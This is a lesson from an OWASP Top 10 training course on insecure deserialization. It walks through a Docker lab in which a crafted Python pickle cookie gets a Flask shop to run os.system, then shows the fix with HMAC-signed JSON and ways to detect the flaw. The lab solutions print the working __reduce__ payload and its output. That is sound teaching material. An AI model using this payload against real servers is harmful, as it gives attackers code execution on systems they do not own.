OWASP Top 10:2025 Course — Module 8 of 10. Course home · Previous: Module 7 — Authentication Failures · Next: Module 9 — Security Logging Failures
Learn first: what is a Software/Data Integrity Failure
A08:2025 covers trusting serialized data without verifying it hasn’t been tampered with. Python’s pickle module is the sharpest example: unpickling isn’t just "parsing data," it’s executing a mini bytecode-like instruction stream that can call any Python callable the attacker chooses — including os.system. If a cookie, a cache value, or any client-controlled blob ever reaches pickle.loads(), that client controls code execution on your server.
Client sets cookie: cart = base64(pickle.dumps(Exploit()))
class Exploit:
def __reduce__(self):
return (os.system, ('echo pwned > pwned.txt',))
Server: pickle.loads(base64.b64decode(cookie))
│
└─▶ unpickler calls os.system('echo pwned > pwned.txt')
on the SERVER, during deserialization, not "running untrusted code" —
just deserializing, by design
Switching to JSON (which can only ever produce data, never a function call) plus an HMAC-signed, tamper-evident cookie closes this completely.
Scenario briefing
You’re reviewing Pickle Shop, a small demo storefront that keeps the shopping cart in a cookie for convenience. Nobody on the team thought twice about how that cookie gets serialized.
Lab setup
- Download: Download the lab (zip)
- Prerequisites: Docker Engine 20+, Docker Compose v2.
- Start it:
cd owasp-a08-data-integrity-lab docker compose up -d --build - Check it worked:
curl -s http://127.0.0.1:5000/should return the "Pickle Shop" HTML with a default cart.
Missions
Mission 1 — build and fire the exploit. Craft a malicious pickle payload and send it as the cart cookie.
Show solution
Solution — Mission 1
docker compose exec vulnerable python exploit.py
class Exploit:
def __reduce__(self):
cmd = f'echo "pwned by pickle RCE lab" > "{MARKER}"'
return (os.system, (cmd,)) # runs on the SERVER during unpickling
[+] Sending to http://127.0.0.1:5000/ ...
[+] RCE confirmed — marker file written by the server
Mission 2 — read the proof. Check the marker file the server wrote.
Show solution
Solution — Mission 2
docker compose exec vulnerable cat /work/pwned.txt
pwned by pickle RCE lab - FLAG{a08-pickle-reduce-rce-confirmed}
The command that produced this file ran as the Flask process, with its privileges — in a real deployment, that’s a foothold for anything from reading secrets to pivoting further into the network.
Mission 3 — replay the exact same cookie against the fixed app. Confirm it’s rejected.
Show solution
Solution — Mission 3
docker compose exec fixed python exploit_fixed.py
[+] Server responded: HTTP 200
...Cookie signature invalid — rejected (possible tampering)...
[+] Confirmed: no marker file written. The fixed app rejected the payload.
The fixed app never calls pickle.loads() at all — it validates the cookie’s HMAC signature first (itsdangerous), and a forged cookie simply fails that check before any parsing happens.
Mission 4 — harden the vulnerable app. Replace pickle with signed JSON.
Show solution
Solution — Mission 4
from itsdangerous import URLSafeSerializer, BadSignature
import json, jsonschema
serializer = URLSafeSerializer(app.secret_key)
CART_SCHEMA = {"type": "object", "properties": {"items": {"type": "array"}, "total": {"type": "number"}}}
def decode_cart(token):
try:
data = serializer.loads(token)
except BadSignature:
return DEFAULT_CART
jsonschema.validate(data, CART_SCHEMA)
return data
Restart your patched vulnerable service and run python3 lab.py verify — the same exploit payload now gets rejected, and normal cart operations still work.
Hints
MARKERinexploit.pyis an absolute path baked into the payload at build time — it must point somewhere the server can write, which in this lab is the same shared/workdirectory both the exploit script and the app run from.- You don’t need to understand every detail of
__reduce__to use this lab — just know that it tells the unpickler "call this function with these arguments" during deserialization. exploit_fixed.pysends the identical base64 payload from mission 1 — the only variable is which app receives it.
Fix it + re-test
Never call pickle.loads() (or yaml.load() without SafeLoader, or any other format capable of reconstructing arbitrary objects) on data a client can influence. Use JSON for the data shape and validate it against a schema, then sign the whole blob with an HMAC (itsdangerous) so any tampering — not just malformed JSON — is detected and rejected before your code ever looks at the contents.
Detect it
This is a code-review and static-analysis signal more than a runtime log signal: grep your codebase for pickle.loads, yaml.load (without SafeLoader), and similar deserialization calls, and trace every one back to where its input comes from. At runtime, log and alert on cookie-signature validation failures — a sudden spike usually means someone is probing for exactly this bug.
Quick self-check
- Why is
pickle.loads()fundamentally different fromjson.loads()in terms of what it can do? - Why does signing the cookie (HMAC) matter even if you also switch to JSON?
- If the attacker didn’t know the server’s secret key, could they still forge a valid signed cookie?
Show answers
Answers
json.loads()can only ever produce basic data types (dicts, lists, strings, numbers) — there’s no way to make it call a function;pickle.loads()can reconstruct arbitrary Python objects, including instructions to call any importable callable with attacker-chosen arguments.- Without a signature, an attacker can still send valid JSON that lies about the cart contents (free items, negative totals) — the server would accept and act on tampered-but-well-formed data; the signature proves the data wasn’t modified after the server last set it.
- No —
itsdangerous‘sURLSafeSerializerderives the signature fromapp.secret_key, which never leaves the server; without it, any modification to the payload produces a signature mismatch and the server rejects it, exactly as mission 3 demonstrated.